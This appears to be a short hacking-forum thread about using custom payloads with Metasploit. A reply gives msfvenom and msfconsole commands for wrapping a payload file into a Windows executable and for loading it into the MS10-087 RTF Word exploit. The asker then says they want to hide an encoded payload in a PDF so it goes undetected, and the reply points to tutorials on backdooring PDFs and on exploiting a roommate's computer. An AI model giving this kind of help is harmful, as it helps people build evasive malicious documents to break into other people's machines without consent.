Forum Thread: Using Custom Payloads with Files

Allot more information is needed to fully answer your question.
But....
Something like this should get things started....

root@Kali:~# msfvenom -p - /root/Desktop/some_file.txt -a x86 --platform windows -f exe -o /root/Desktop/test.exe

Explanation
-p payload "-" specifies custom payload
-a architecture
-- platform
-f format
-o output
It will all depend on what your trying to do, msfvenom might not be able to do what your looking for...

So I just read your exact same question on

https://null-byte.wonderhowto.com/how-to/hack-like-pro-exploit-ms-word-embed-listener-your-roommates-computer-0140868/

Are you trying to simply set a custom payload inside of an exploit? If so
msf exploit(ms10_087_rtf_pfragments_bof) > set payload generic/custom
Then set the option:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.rtf yes The file name.
Set custom payload:
msf exploit(ms10_087_rtf_pfragments_bof) > set FILENAME /root/Desktop/some_file
Note: Payload will have to be compatible with the exploit

Thanks for replying. I have used a script to encod my payload . So now I have one on the desktop, the problem is that I want to embed it with pdf file to be undetectable

Encoded? How? Either way you can try following OTW's
https://null-byte.wonderhowto.com/how-to/hack-like-pro-embed-backdoor-connection-innocent-looking-pdf-0140942/
Just use your payload...